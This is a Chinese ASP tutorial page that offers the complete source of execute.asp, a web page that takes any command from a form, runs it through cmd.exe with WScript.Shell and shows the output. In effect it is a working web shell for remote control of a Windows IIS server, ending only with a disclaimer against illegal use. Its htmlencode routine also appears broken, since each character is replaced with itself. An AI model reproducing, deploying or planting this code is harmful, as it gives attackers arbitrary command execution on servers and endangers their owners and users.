ASP提高篇:2.9 可以执行系统命令的ASP原码放送-远方教程

注意的是，程序运行必须有FileSystemObject支持。以下是远程执行命令的原代码。
copy下来另存为execute.asp.

<html>

<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>执行命令</title>
<style>

</style>

</head>

<body bgcolor="#000000" text="#C0C0C0">

<form method="POST" action="execute.asp">
<p align="left">输入要执行的命令：<input type="text" name="ml"

size="20" value="dir c:\" style="background-color: #C0C0C0; color:

#000000; border-style: solid; border-width: 1">
<input type="submit" value="执行" name="B1" style="background-color:

#C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p>
</form>
<%
ml=request.form("ml")
cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" '修改

whoamI.txt路径到一个有写权限的目录
Set WShShell = Server.CreateObject("WScript.Shell")
RetCode = WShShell.Run(cmd, 1, True)
if RetCode = 0 Then
Response.write ml & "　"
Response.write " 命令成功执行！"&"<br><br>"
else
Response.write " 命令执行失败！权限不够或者该程序无法在DOS状态下运行

！"&"<br><br>"

end if
'response.write cmd

function htmlencode(str)
dim result
dim l
if isNULL(str) then
htmlencode=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case else
result=result+mid(str,i,1)
end select
next
htmlencode=result
end function
Set fs =CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) '读文件，别忘

了修改路径.
counter=0
do while not thisfile.atendofstream
counter=counter+1
thisline=htmlencode(thisfile.readline)
response.write thisline&"<br>"
loop
thisfile.Close
set fs=nothing
%>

</body>

</html>

　　请勿将此程序用于非法途径，由此引起的一切后果由使用者承担。